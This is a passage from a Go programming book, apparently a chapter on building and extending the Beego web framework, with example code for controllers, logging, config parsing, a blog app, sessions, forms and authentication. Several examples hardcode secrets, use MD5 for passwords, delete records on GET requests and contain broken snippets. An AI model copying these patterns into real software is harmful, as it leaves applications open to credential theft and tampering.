}
func (c *Controller) Post() {

}
func (c *Controller) Delete() {

}
func (c *Controller) Put() {

}
func (c *Controller) Head() {

}
func (c *Controller) Patch() {

}
func (c *Controller) Options() {

}
func (c *Controller) Render() error {

if len(c.Layout) > 0 {
var filenames []string
for _, file := range c.Layout {
filenames = append(filenames, path.Join(ViewsPath, file))
}
t, err := template.ParseFiles(filenames...)
if err != nil {
Trace("template ParseFiles err:", err)
}
err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data)
if err != nil {
Trace("template Execute err:", err)
}
} else {
if c.TplNames == "" {
c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt
}
t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames))
if err != nil {
Trace("template ParseFiles err:", err)
}
err = t.Execute(c.Ct.ResponseWriter, c.Data)
if err != nil {
Trace("template Execute err:", err)
}
}
return nil
}
287
Design controllers
func (c *Controller) Redirect(url string, code int) {

c.Ct.Redirect(code, url)
}
Above, the controller base class already implements the functions defined in the interface. Through our routing rules, the
request will be routed to the appropriate controller which will in turn execute the following methods:
Init() initialization routine

Prepare() pre-initialization routine; each inheriting subclass may implement this function
method() depending on the request method, perform different functions: GET, POST, PUT, HEAD, etc. Subclasses should i
mplement these functions; if not implemented, then the default is 403
Render() optional method. Determine whether or not to execute according to the global variable "AutoRender"
Finish() is executed after the action been completed. Each inheriting subclass may implement this function
Application guide
Above, we've just finished discussing Beego's implementation of the base controller class. We can now use this information
to design our request handling, inheriting from the base class and implementing the necessary methods in our own
controller.
package controllers
import (
"github.com/astaxie/beego"
)
type MainController struct {

beego.Controller
}
func (this *MainController) Get() {

this.Data["Username"] = "astaxie"
this.Data["Email"] = "[email protected]"
this.TplNames = "index.tpl"
}
In the code above, we've implemented a subclass of Controller called MainController which only implements the Get()
method. If a user tries to access the resource using any of the other HTTP methods (POST, HEAD, etc), a 403 Forbidden
will be returned. However, if a user submits a GET request to the resource and we have the AutoRender variable set to
true , the resource's controller will automatically call its Render() function, rendering the corresponding template and
responding with the following:
The index.tpl code can be seen below; as you can see, parsing model data into a template is quite simple:
<!DOCTYPE html>
<html>
<head>
<title>beego welcome template</title>
</head>
<body>
<h1>Hello, world!{{.Username}},{{.Email}}</h1>
</body>
</html>
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288
Design controllers
Previous section: Customizing routers

Next section: Logs and configurations
289
Logs and configurations
13.4 Logging and configuration
The importance of logging and configuration

Previously in the book, we saw that event logging plays a very important role in application development. With adequate
logging, we can record crucial information that can later be dissected for debugging and optimization purposes. In the
section where we looked at the seelog logging utility, we saw that it had settings for various log level gradations, which can
be essential for program development and deployment; we can set the logging level lower in a development environment,
while setting it high in production so that we can mask extraneous information when we are trying to debug our application.
Setting up the server configuration module for deploying an application involves a number of different server settings. For
example, we typically need to provide information regarding database configuration, listening ports, etc., via the
configuration file. Setting up a centralized configuration file allows us the flexibility of deploying the application to different
machines and connecting to remote databases, if needed.
The Beego logging system

The Beego logger's design borrows ideas from seelog and provides similar functionality in terms of setting logging levels.
Beego's system is, however, more lightweight and makes use of the Go's log.Logger interface. By default, logs are output
to os.Stdout, but users can implement this interface through beego.SetLogger to customize this. A detailed example of an
implemented interface can be seen below:
// Log levels for controlling the logging output.

const (
LevelTrace = iota
LevelDebug
LevelInfo
LevelWarning
LevelError
LevelCritical
)
// logLevel controls the global log level used by the logger.

var level = LevelTrace
// LogLevel returns the global log level and can be used in

// a custom implementations of the logger interface.
func Level() int {
return level
}
// SetLogLevel sets the global log level used by the simple

// logger.
func SetLevel(l int) {
level = l
}
This section implements the above log grading system. The default level is set to Trace and users can customize grading
levels using SetLevel .
290
// logger references the used application logger.

var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)
// SetLogger sets a new logger.

func SetLogger(l *log.Logger) {
BeeLogger = l
}
// Trace logs a message at trace level.

func Trace(v ...interface{}) {
if level <= LevelTrace {
BeeLogger.Printf("[T] %v\n", v)
}
}
// Debug logs a message at debug level.

func Debug(v ...interface{}) {
if level <= LevelDebug {
BeeLogger.Printf("[D] %v\n", v)
}
}
// Info logs a message at info level.

func Info(v ...interface{}) {
if level <= LevelInfo {
BeeLogger.Printf("[I] %v\n", v)
}
}
// Warning logs a message at warning level.

func Warn(v ...interface{}) {
if level <= LevelWarning {
BeeLogger.Printf("[W] %v\n", v)
}
}
// Error logs a message at error level.

func Error(v ...interface{}) {
if level <= LevelError {
BeeLogger.Printf("[E] %v\n", v)
}
}
// Critical logs a message at critical level.

func Critical(v ...interface{}) {
if level <= LevelCritical {
BeeLogger.Printf("[C] %v\n", v)
}
}
The code snippet above initializes a BeeLogger object by default, outputting logs to os.Stdout . As mentioned, users can
implement beego.SetLogger to customize the logger's output. BeeLogger implements six functions:
Trace (record general information, for example:)

"Entered parse function validation block"
"Validation: entered second 'if'"
"Dictionary 'Dict' is empty. Using default value"
Debug (debugging information, for example:)
"Web page requested: http://somesite.com Params = '...'"
"Response generated. Response size: 10000. Sending."
"New file received. Type: PNG Size: 20000"
Info (printing general information, for example:)
"Web server restarted"
"Hourly statistics: Requested pages: 12345 Errors: 123..."
"Service paused. Waiting for 'resume' call"
291
Warn (warning messages, for example:)

"Cache corrupted for file = 'test.file'. Reading from back-end"
"Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB"
"No response from statistics server. Statistics not sent"
Error (error messages, for example:)
"Internal error. Cannot process request# 12345 Error:...."
"Cannot perform login: credentials DB not responding"
Critical (fatal errors, for example:)
"Critical panic received:.... Shutting down"
"Fatal error:... App is shutting down to prevent data corruption or loss"
You can see that each of these levels has a specific purpose. For instance if we set the logging level to Warn
( level=LevelWarning ), at the time of deployment, all of the lower level logs (Trace, Debug, Info) will not output anything.
Beego configuration design

For processing configuration information, Beego implements a key=value file parser which reads information formatted
similarly to ini configuration files. The parser reads the configuration data and saves it to a map. Finally, it calls several
functions for retrieving the value's datatype (int, string, etc). The detailed implementation can be seen below:
Define some global constants for the ini configuration file:
var (
bComment = []byte{'#'}
bEmpty = []byte{}
bEqual = []byte{'='}
bDQuote = []byte{'"'}
)
Defines the format of the configuration file:
// A Config represents the configuration.

type Config struct {
filename string
comment map[int][]string // id: []{comment, key...}; id 1 is for main comment.
data map[string]string // key: value
offset map[string]int64 // key: offset; for editing.
sync.RWMutex
}
Defines a function for parsing the file. The process begins by opening the file, then reading it line by line and parsing
comments, blank lines and key=value data:
292
// ParseFile creates a new Config and parses the file configuration from the
// named file.
func LoadConfig(name string) (*Config, error) {
file, err := os.Open(name)
if err != nil {
return nil, err
}
cfg := &Config{
file.Name(),
make(map[int][]string),
make(map[string]string),
make(map[string]int64),
sync.RWMutex{},
}
cfg.Lock()
defer cfg.Unlock()
defer file.Close()
var comment bytes.Buffer

buf := bufio.NewReader(file)
for nComment, off := 0, int64(1); ; {

line, _, err := buf.ReadLine()
if err == io.EOF {
break
}
if bytes.Equal(line, bEmpty) {
continue
}
off += int64(len(line))
if bytes.HasPrefix(line, bComment) {
line = bytes.TrimLeft(line, "#")
line = bytes.TrimLeftFunc(line, unicode.IsSpace)
comment.Write(line)
comment.WriteByte('\n')
continue
}
if comment.Len() != 0 {
cfg.comment[nComment] = []string{comment.String()}
comment.Reset()
nComment++
}
val := bytes.SplitN(line, bEqual, 2)

if bytes.HasPrefix(val[1], bDQuote) {
val[1] = bytes.Trim(val[1], `"`)
}
key := strings.TrimSpace(string(val[0]))
cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)
cfg.data[key] = strings.TrimSpace(string(val[1]))
cfg.offset[key] = off
}
return cfg, nil
}
Below are a number of functions the parser uses for reading the configuration file. The return value is determined as either
a bool, int, float64 or string:
293
// Bool returns the boolean value for a given key.

func (c *Config) Bool(key string) (bool, error) {
return strconv.ParseBool(c.data[key])
}
// Int returns the integer value for a given key.

func (c *Config) Int(key string) (int, error) {
return strconv.Atoi(c.data[key])
}
// Float returns the float value for a given key.

func (c *Config) Float(key string) (float64, error) {
return strconv.ParseFloat(c.data[key], 64)
}
// String returns the string value for a given key.

func (c *Config) String(key string) string {
return c.data[key]
}
Application guide
The following function is an example of an application I used to fetch json data from a remote url address:
func GetJson() {
resp, err := http.Get(beego.AppConfig.String("url"))
if err != nil {
beego.Critical("http get info error")
return
}
body, err := ioutil.ReadAll(resp.Body)
err = json.Unmarshal(body, &AllInfo)
if err != nil {
beego.Critical("error:", err)
}
}
Beego's Critical() logging function is called to report any errors which may occur in the GetJson() function.
beego.AppConfig.String("url") is used to obtain information from a configuration file (typically app.conf ), which might look
something like the following:
appname = hs
url ="http://www.api.com/api.html"
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294
Add, delete and update blogs
13.5 Adding, deleting and updating blogs

We've already introduced the entire concept behind the Beego framework through examples and pseudo-code. This
section will describe how to implement a blogging system using Beego, including the ability to browse, add, modify and
delete blog posts.
Blog directory
Our blog's directory structure can be seen below:
/main.go
/views:
/view.tpl
/new.tpl
/layout.tpl
/index.tpl
/edit.tpl
/models/model.go
/controllers:
/index.go
/view.go
/new.go
/delete.go
/edit.go
Blog routing
Our blog's main routing rules are as follows:
//Show blog Home

beego.RegisterController("/", &controllers.IndexController{})
//View blog details
beego.RegisterController("/view/: id([0-9]+)", &controllers.ViewController{})
//Create blog Bowen
beego.RegisterController("/new", &controllers.NewController{})
//Delete Bowen
beego.RegisterController("/delete/: id([0-9]+)", &controllers.DeleteController{})
//Edit Bowen
beego.RegisterController("/edit/: id([0-9]+)", &controllers.EditController{})
Database structure
A trivial database table to store basic blog information:
CREATE TABLE entries (

id INT AUTO_INCREMENT,
title TEXT,
content TEXT,
created DATETIME,
primary key (id)
);
Controller
IndexController:
295
type IndexController struct {

beego.Controller
}
func (this *IndexController) Get() {

this.Data["blogs"] = models.GetAll()
this.Layout = "layout.tpl"
}
ViewController:
type ViewController struct {

beego.Controller
}
func (this *ViewController) Get() {

inputs := this.Input()
id, _ := strconv.Atoi(this.Ctx.Params[":id"])
this.Data["Post"] = models.GetBlog(id)
this.TplNames = "view.tpl"
}
NewController
type NewController struct {

beego.Controller
}
func (this *NewController) Get() {

this.TplNames = "new.tpl"
}
func (this *NewController) Post() {

var blog models.Blog
blog.Title = inputs.Get("title")
blog.Content = inputs.Get("content")
blog.Created = time.Now()
models.SaveBlog(blog)
this.Ctx.Redirect(302, "/")
}
EditController
296
type EditController struct {

beego.Controller
}
func (this *EditController) Get() {

id, _ := strconv.Atoi(this.Ctx.Params[":id"])
this.Data["Post"] = models.GetBlog(id)
this.TplNames = "edit.tpl"
}
func (this *EditController) Post() {

var blog models.Blog
blog.Id, _ = strconv.Atoi(inputs.Get("id"))
blog.Title = inputs.Get("title")
blog.Content = inputs.Get("content")
blog.Created = time.Now()
models.SaveBlog(blog)
}
DeleteController
type DeleteController struct {

beego.Controller
}
func (this *DeleteController) Get() {

id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"])
blog := models.GetBlog(id)
this.Data["Post"] = blog
models.DelBlog(blog)
}
Model layer
297
package models
import (
"database/sql"
"github.com/astaxie/beedb"
"time"
)
type Blog struct {

Id int `PK`
Title string
Content string
Created time.Time
}
func GetLink() beedb.Model {

db, err := sql.Open("mymysql", "blog/astaxie/123456")
if err != nil {
panic(err)
}
orm := beedb.New(db)
return orm
}
func GetAll() (blogs []Blog) {

db := GetLink()
db.FindAll(&blogs)
return
}
func GetBlog(id int) (blog Blog) {

db := GetLink()
db.Where("id=?", id).Find(&blog)
return
}
func SaveBlog(blog Blog) (bg Blog) {

db := GetLink()
db.Save(&blog)
return bg
}
func DelBlog(blog Blog) {

db := GetLink()
db.Delete(&blog)
return
}
View layer
layout.tpl
298
<html>
<head>
<title>My Blog</title>
<style>
#menu {
width: 200px;
float: right;
}
</style>
</head>
<body>
<ul id="menu">
<li><a href="/">Home</a></li>
<li><a href="/new">New Post</a></li>
</ul>
{{.LayoutContent}}
</body>
</html>
index.tpl
<h1>Blog posts</h1>
<ul>
{{range .blogs}}
<li>
<a href="/view/{{.Id}}">{{.Title}}</a>
from {{.Created}}
<a href="/edit/{{.Id}}">Edit</a>
<a href="/delete/{{.Id}}">Delete</a>
</li>
{{end}}
</ul>
view.tpl
<h1>{{.Post.Title}}</h1>
{{.Post.Created}}<br/>
{{.Post.Content}}
new.tpl
<h1>New Blog Post</h1>

<form action="" method="post">
Title:<input type="text" name="title"><br>
Content<textarea name="content" colspan="3" rowspan="10"></textarea>
<input type="submit">
</form>
edit.tpl
<h1>Edit {{.Post.Title}}</h1>

Title:<input type="text" name="title" value="{{.Post.Title}}"><br>
Content<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea>
<input type="hidden" name="id" value="{{.Post.Id}}">
<input type="submit">
</form>
299
Links
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Previous section: Logs and configurations
300
Summary
13.6 Summary
In this chapter, we described how to implement the major components of a Go web framework. We first designed a router
to make up for some of shortcomings in Go's built-in http package, creating a router capable of dynamic routing and
REST support. We also designed our own RESTful Controller class in accord with the principles of MVC, borrowing ideas
from frameworks such as Tornado. Next, we designed and implemented a template layout and automated rendering
system, mainly using Go's built-in templating engine. We then implemented a custom logger and talked about framework
configuration to allow for flexible application deployment. Through this process, we have implemented a basic web
framework called Beego which, at present, has been open-sourced on Github. Lastly, we implemented a simple blogging
application on top of Beego. After having gone through all of these examples, you will hopefully have learned how to quickly
develop websites in Go.
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Previous section: Add, delete and update blogs
Next chapter: Develop web framework
301
Develop web framework
14 Developing a web framework

Chapter 13 described how to develop a web framework in Go. We introduced the MVC architecture, a routing and logging
system, and we also looked at simple server configuration. These are the basic building blocks of most frameworks, and it's
a good start. However, for more sophisticated needs, some auxiliary tools are needed to facilitate rapid website
development. In this chapter, we will provide some quick tips and tools for speeding up development. The first section will
cover the how-to's how processing static files and we will be using Twitter's open source CSS and Javascript framework
called Bootstrap for beautifying our website. The second section describes how to use the previously described sessions
for user login processing. Next, the third section describes how to generate forms, and how to process these forms for valid
data. We will also talk about how to bind models for CRUD operations. In section 4, we'll describe how to perform some
user authentication including basic HTTP authentication and HTTP digest authentication. Finally, the last section will talk
about implementing the previously described i18n, to support multi-lingual web applications.
By extending Beego in this chapter, we will be able to rapidly develop full stack web applications. Of course, we'll go
through the features of these extensions step-by-step, applying them to the blogging system we developed in Chapter 13.
Through the development of a complete and beautiful blogging system, users will hopefully be able to see how Beego can
help to boost developer productivity.
Links
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Next section: Static files
302
Static files
14.1 Static files

We've already talked about how to deal with static files in previous sections. Now, let's look at how to set up and use static
files inside of Beego. Then, through introducing Twitter's open source HTML and CSS framework Bootstrap, we'll be able
quickly create beautiful looking websites without having to do too much design work.
Beego static files and settings

Go's net/http package provides a static file server with functions such as ServeFile and FileServer . Beego's static file
handling is based on this layer, and its specific implementation is as follow:
//static file server

for prefix, staticDir := range StaticDir {
if strings.HasPrefix(r.URL.Path, prefix) {
file := staticDir + r.URL.Path[len(prefix):]
http.ServeFile(w, r, file)
w.started = true
return
}
}
StaticDir stores the URL which corresponds to a static file directory, so when handling requests, we simply need to
determine whether or not the URL begins with a static file path. If so, we can simply respond using http.ServeFile .
The following is an example:
beego.StaticDir["/asset"] = "/static"
Then, a request with a URL such as http://www.beego.me/asset/bootstrap.css will result in /static/bootstrap.css being
served to the client.
Bootstrap integration
Bootstrap is an open source Toolkit for front-end development launched by Twitter. For developers, Bootstrap is one of the
best front end kits for rapid Web application development. It is a collection of HTML, CSS and javascript components, using
the latest HTML5 standards. These include a responsive grid, forms, buttons, tables, and many other useful things.
Components Bootstrap contains a wealth of Web components. Using these components, you can quickly build a
beautiful, fully functional website which includes the following components: Pull-down menus, button groups, button
drop-down menus, navigation, navigation bars, bread crumbs, pagination, layout, thumbnails, warning dialogs,
progress bars, and other media objects
JavaScript plugins Bootstrap comes with 13 jQuery plug-ins for Bootstrap components, which gives them "life". These
include: Modal dialogs, tabs, scroll bars, pop-up boxes and so on.
Bootstrap framework customization All Bootstrap css variables can be modified according to your needs.
Figure 14.1 a bootstrap website
Next, let's see how we can use Bootstrap inside our Beego application to quickly create a beautiful website:
1. First, let's download the bootstrap directory into our project's static directory, as shown in the following screenshot:
303
Static files
Figure 14.2 Project static file directory structure
2. Because Beego sets a default value for StaticDir , if your static files directory is static , then you need not go any
further:
StaticDir["/static"] = "static"
3. Our templates use the following asset paths:
// css file
<link href="/static/css/bootstrap.css" rel="stylesheet">
// js file
<script src="/static/js/bootstrap-transition.js"></script>
// Picture files
<img src="/static/img/logo.png">
With the above code, we are integrating Bootstrap into our Beego application. The figure below demonstrates the rendered
page:
Figure 14.3 website integrated with Bootstrap
These templates and formats all come shipped with Bootstrap so we won't repeat the complete code here, however you
can take a look at the project's official page to learn how to write your own templates.
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Previous section: Developing a web framework
Next section: Sessions
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Session
14.2 Sessions
In chapter 6, we introduced some basic concepts pertaining to sessions in Go, and we implemented a session manager.
The Beego framework uses this session manager to implement some convenient session-handling functionality.
Integrating sessions
Beego handles sessions mainly according to the following global variables:
// related to session
SessionOn bool // whether or not to open the session module. Defaults to false.
SessionProvider string // the desired session backend processing module. Defaults to an in-memory sessionManager
SessionName string // the name of the client saved cookies
SessionGCMaxLifetime int64 // cookie validity
GlobalSessions *session.Manager// global session controller
Of course, the values of these variables shown above need to be initialized. You can also use the values from the following
configuration file code to set these values:
if ar, err := AppConfig.Bool("sessionon"); err != nil {

SessionOn = false
} else {
SessionOn = ar
}
if ar := AppConfig.String("sessionprovider"); ar == "" {
SessionProvider = "memory"
} else {
SessionProvider = ar
}
if ar := AppConfig.String("sessionname"); ar == "" {
SessionName = "beegosessionID"
} else {
SessionName = ar
}
if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 {
int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64)
SessionGCMaxLifetime = int64val
} else {
SessionGCMaxLifetime = 3600
}
Add the following code in the beego.Run function:
if SessionOn {
GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime)
go GlobalSessions.GC()
}
As long as SessionOn is set to true, it will open the session by default with an independent goroutine session handler
In order to facilitate our custom Controller quickly using session, the author beego.Controller provides the following
methods:
To assist us in quickly using sessions in a custom Controller, beego.Controller provides the following method:
305
Session
func (c *Controller) StartSession() (sess session.Session) {

sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request)
return
}
Using sessions
From the code above, we can see that the Beego framework simply inherits its session functionality. So, how do we use it
in our projects?
First of all, we need to open the session at the entry point of our application.
beego.SessionOn = true
We can then use the corresponding session method inside our controller like so:

var intcount int
sess := this.StartSession()
count := sess.Get("count")
if count == nil {
intcount = 0
} else {
intcount = count.(int)
}
intcount = intcount + 1
sess.Set("count", intcount)
this.Data["Count"] = intcount
}
The code above shows how to use sessions in the controller logic. The process can be divided into two steps:
1. Getting session object
// Get the object, similar in PHP session_start()

sess:= this.StartSession()
2. Using the session for general operations
// Get the session values , similar in PHP $ _SESSION ["count"]

sess.Get("count")
// Set the session value

sess.Set("count", intcount)
As you can see, applications based on the Beego framework can easily implement sessions. The process is very similar to
calling session_start() in PHP applications.
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Previous section: Static files
Next section: Forms
306
Session
307
Form
14.3 Forms
In web development, the following workflow will probably look quite familiar:
Open a web page showing a form

Users fill out and submit the form
If a user submits some invalid information or has neglected to fill out a required field, the form will be returned to the
user (along with the filled in data) with some descriptive information about the problem.
Users re-fill the invalid fields and continue attempting to submit the form until it's accepted
At the receiving end, the script must:
Check the user submitted form data.

Verify whether the data is the correct type and of the appropriate standard. For example, if a username is submitted, it
must verify that it contains only valid characters. Other examples would be checking for minimum and maximum
lengths, username uniqueness, and so on.
Filtering data and cleaning up unsafe characters to guarantee that our application only processes data which is safe.
If necessary, pre-format the data (or data gaps need to be cleared through the HTML coding and so on.)
Prepare the data for insertion into the database
Although the procedure is not very complex, it usually requires a lot of boilerplate. In addition, web applications often use a
variety of different control structures to display error messages on returned pages. Implementing form validation is a simple
but boring task.
Forms and validation

For developers, the general development process can be quite complex, but it's mostly repetitive work. Suppose a scenario
arises where you suddenly need to add a form to your project, causing you to rewrite all of the local code tied in with the
form. We know that structs are a very commonly used data structure in Go, and Beego uses them to its advantage for
processing form information.
First, we define a struct with fields corresponding to the fields in our form element. We can use struct tags which map
to the form element, as shown below:
When developing Web applications, first define a struct that matches a field to a corresponding form element, defined by
using a struct tag corresponding to the element information and authentication information, as shown below:
For developers, the general development process is very complex, and mostly consists of repeating the same work
process. Assuming a scenario for a project whereby a need arises to add data to a form, then the local code of the entire
process needs to be modified. We know in Go a struct is a common data structure, so beego uses a form struct to process
form information.
First define a struct with fields corresponding to our form element, using struct tags to define the corresponding form
element and authentication information, like so:
type User struct{

Username string `form:text,valid:required`
Nickname string `form:text,valid:required`
Age int `form:text,valid:required|numeric`
Email string `form:text,valid:required|valid_email`
Introduce string `form:textarea`
}
After defining our struct , we can add this action in our controller:
308
Form
func (this *AddController) Get() {

this.Data["form"] = beego.Form(&User{})
this.Layout = "admin/layout.html"
this.TplNames = "admin/add.tpl"
}
The form is displayed in our template like so:

{{.form.render()}}
</form>
Above, we've defined the entire first step of displaying a form mapped to a struct . The next step is for users to fill in their
information and submit the form, after which the server will receive the data and verify it. Finally, the record will be inserted
into the database.
func (this *AddController) Post() {

var user User
form := this.GetInput(&user)
if !form.Validates() {
return
}
models.UserInsert(&user)
this.Ctx.Redirect(302, "/admin/index")
}
Form type
The following table lists the corresponding form element information:
<table cellpadding="0" cellspacing="1" border="0" style="width:100%" class="tableborder">

<tbody>
<tr>
<th>Name</th>
<th>parameter</th>
<th>Description</th>
</tr>
<tr>
<td class="td"><strong>text</strong>
</td>
<td class="td">No</td>
<td class="td">textbox input box</td>
</tr>
<tr>
<td class="td"><strong>button</strong>
</td>
<td class="td">button</td>
</tr>
<tr>
<td class="td"><strong>checkbox</strong>
</td>
<td class="td">multi-select box</td>
</tr>
<tr>
<td class="td"><strong>dropdown</strong>
</td>
<td class="td">drop-down selection box</td>
309
Form
</tr>
<tr>
<td class="td"><strong>file</strong>
</td>
<td class="td">file upload</td>
</tr>
<tr>
<td class="td"><strong>hidden</strong>
</td>
<td class="td">hidden elements</td>
</tr>
<tr>
<td class="td"><strong>password</strong>
</td>
<td class="td">password input box</td>
</tr>
<tr>
<td class="td"><strong>radio</strong>
</td>
<td class="td">single box</td>
</tr>
<tr>
<td class="td"><strong>textarea</strong>
</td>
<td class="td">text input box</td>
</tr>
</tbody>
</table>
Form validation
The following table lists some form validation rules native to Beego that can be used:
<table cellpadding="0" cellspacing="1" border="0" style="width:100%" class="tableborder">

<tbody>
<tr>
<th>rules</th>
<th>parameter</th>
<th>Description</th>
<th>Example</th>
</tr>
<tr>
<td class="td"><strong>required</strong>
</td>
<td class="td">If the element is empty, it returns FALSE</td>
<td class="td"></td>
</tr>
<tr>
<td class="td"><strong>matches</strong>
</td>
<td class="td">Yes</td>
<td class="td">if the form element's value with the corresponding form field parameter values are not equal, th
en return
FALSE</td>
<td class="td">matches [form_item]</td>
</tr>
310
Form
<tr>
<td class="td"><strong>is_unique</strong>
</td>
<td class="td">if the form element's value with the specified field in a table has duplicate data, it returns F
alse( Translator's
Note: For example is_unique [User.Email], then the validation class will look for the User table in the
Email field there is no form elements with the same value, such as deposit repeat, it returns false, so
developers do not have to write another Callback verification code.)</td>
<td class="td">is_unique [table.field]</td>

</tr>
<tr>
<td class="td"><strong>min_length</strong>
</td>
<td class="td">form element values if the character length is less than the number of defined parameters, it re
turns FALSE</td>
<td class="td">min_length [6]</td>
</tr>
<tr>
<td class="td"><strong>max_length</strong>
</td>
<td class="td">if the form element's value is greater than the length of the character defined numeric argument
, it returns
FALSE</td>
<td class="td">max_length [12]</td>
</tr>
<tr>
<td class="td"><strong>exact_length</strong>
</td>
<td class="td">if the form element values and parameters defined character length number does not match, it ret
urns FALSE</td>
<td class="td">exact_length [8]</td>
</tr>
<tr>
<td class="td"><strong>greater_than</strong>
</td>
<td class="td">If the form element values non- numeric types, or less than the value defined parameters, it ret
urns FALSE</td>
<td class="td">greater_than [8]</td>

</tr>
<tr>
<td class="td"><strong>less_than</strong>
</td>
<td class="td">If the form element values non- numeric types, or greater than the value defined parameters, it
returns FALSE</td>
<td class="td">less_than [8]</td>
311
Form
</tr>
<tr>
<td class="td"><strong>alpha</strong>
</td>
<td class="td">If the form element value contains characters other than letters besides, it returns FALSE</td>
</tr>
<tr>
<td class="td"><strong>alpha_numeric</strong>
</td>
<td class="td">If the form element values contained in addition to letters and other characters other than numb
ers, it returns
FALSE</td>
</tr>
<tr>
<td class="td"><strong>alpha_dash</strong>
</td>
<td class="td">If the form element value contains in addition to the letter/ number/ underline/ characters othe
r than dash,
returns FALSE</td>
</tr>
<tr>
<td class="td"><strong>numeric</strong>
</td>
<td class="td">If the form element value contains characters other than numbers in addition, it returns FALSE</
td>
</tr>
<tr>
<td class="td"><strong>integer</strong>
</td>
<td class="td">except if the form element contains characters other than an integer, it returns FALSE</td>
</tr>
<tr>
<td class="td"><strong>decimal</strong>
</td>
<td class="td">If the form element type( non- decimal ) is not complete, it returns FALSE</td>
</tr>
<tr>
<td class="td"><strong>is_natural</strong>
</td>
<td class="td">value if the form element contains a number of other unnatural values ( other values excluding z
ero ), it
returns FALSE. Natural numbers like this: 0,1,2,3.... and so on.</td>
</tr>
<tr>
<td class="td"><strong>is_natural_no_zero</strong>
312
Form
</td>
<td class="td">value if the form element contains a number of other unnatural values ( other values including z
ero ), it
returns FALSE. Nonzero natural numbers: 1,2,3..... and so on.</td>
</tr>
<tr>
<td class="td"><strong>valid_email</strong>
</td>
<td class="td">If the form element value contains invalid email address, it returns FALSE</td>
</tr>
<tr>
<td class="td"><strong>valid_emails</strong>
</td>
<td class="td">form element values if any one value contains invalid email address( addresses separated by comm
as in English
), it returns FALSE.</td>
</tr>
<tr>
<td class="td"><strong>valid_ip</strong>
</td>
<td class="td">if the form element's value is not a valid IP address, it returns FALSE.</td>
</tr>
<tr>
<td class="td"><strong>valid_base64</strong>
</td>
<td class="td">if the form element's value contains the base64-encoded characters in addition to other than the
characters,
returns FALSE.</td>
</tr>
</tbody>
</table>
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Next section: User validation
313
User validation
14.4 User validation

In the process of developing web applications, user authentication is a problem which developers frequently encounter.
User login, registration and logout, among other operations, as well as general authentication can be divided into three
parts:
HTTP Basic, and HTTP Digest Authentication

Third Party Authentication Integration: QQ, micro-blogging, watercress, OPENID, Google, GitHub, Facebook and
twitter, etc.
Custom user login, registration, logout, are generally based on sessions and cookie authentication
Beego does not natively provide support for any of these three things, however you can easily make use of existing third
party open source libraries to implement them. The first two authentication solutions are on Beego's roadmap to eventually
be integrated.
HTTP basic and digest authentication

Both HTTP basic and digest authentication are relatively simple techniques commonly used by web applications. There are
already many open source third-party libraries which support these two authentication methods, such as:
github.com/abbot/go-http-auth
The following code demonstrates how to use this library to implement authentication in a Beego application:
package controllers
import (
"github.com/abbot/go-http-auth"
)
func Secret(user, realm string) string {

if user == "john" {
// password is "hello"
return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"
}
return ""
}
type MainController struct {

beego.Controller
}
func (this *MainController) Prepare() {

a := auth.NewBasicAuthenticator("example.com", Secret)
if username := a.CheckAuth(this.Ctx.Request); username == "" {
a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request)
}
}

}
The above code takes advantage of Beego's prepare() function to perform authentication before allowing the normal flow
of execution to proceed; as you can see, it's very simple to implement HTTP authentication. Digest authentication can be
implemented in much the same way.
314
User validation
OAuth and OAuth 2 authentication

OAuth and OAuth 2 are currently two of the most popular authentication methods. Fortunately, there are third-party libraries
which implement this type of authentication such as the go.auth package available on github.
github.com/bradrydzewski/go.auth
The code below demonstrates how to use this library to implement OAuth authentication in Beego using our Github
credentials:
1. Let's add some routes
beego.RegisterController("/auth/login", &controllers.GithubController{})
beego.RegisterController("/mainpage", &controllers.PageController{})
2. Then we deal with the GithubController landing page:
package controllers
import (
"github.com/bradrydzewski/go.auth"
)
const (
githubClientKey = "a0864ea791ce7e7bd0df"
githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca"
)
type GithubController struct {

beego.Controller
}
func (this *GithubController) Get() {

// set the auth parameters
auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
auth.Config.LoginSuccessRedirect = "/mainpage"
auth.Config.CookieSecure = false
githubHandler := auth.Github(githubClientKey, githubSecretKey)
githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}
3. Handling after a successful landing page:
315
User validation
package controllers
import (
"github.com/bradrydzewski/go.auth"
"net/http"
"net/url"
)
type PageController struct {

beego.Controller
}
func (this *PageController) Get() {

// set the auth parameters
auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
auth.Config.LoginSuccessRedirect = "/mainpage"
auth.Config.CookieSecure = false
user, err := auth.GetUserCookie(this.Ctx.Request)
//if no active user session then authorize user

if err != nil || user.Id() == "" {
http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther
)
return
}
//else, add the user to the URL and continue

this.Ctx.Request.URL.User = url.User(user.Id())
this.Data["pic"] = user.Picture()
this.Data["id"] = user.Id()
this.Data["name"] = user.Name()
this.TplNames = "home.tpl"
}
The whole process is as follows:
first open your browser and enter the address:
Figure 14.4 shows the home page with a login button
When clicking on the link, the following screen appears:
Figure 14.5 displayed after clicking the login button to authenticate with your GitHub credentials
After clicking "Authorize app", the following screen appears:
Figure 14.6 authorized Github information gets displayed after the login page
Custom authentication
Custom authentication is generally combined with session authentication; the following code is a Beego based open source
blog which demonstrates this:
//Login process
func (this *LoginController) Post() {
this.TplNames = "login.tpl"
this.Ctx.Request.ParseForm()
username := this.Ctx.Request.Form.Get("username")
316
User validation
password := this.Ctx.Request.Form.Get("password")
md5Password := md5.New()
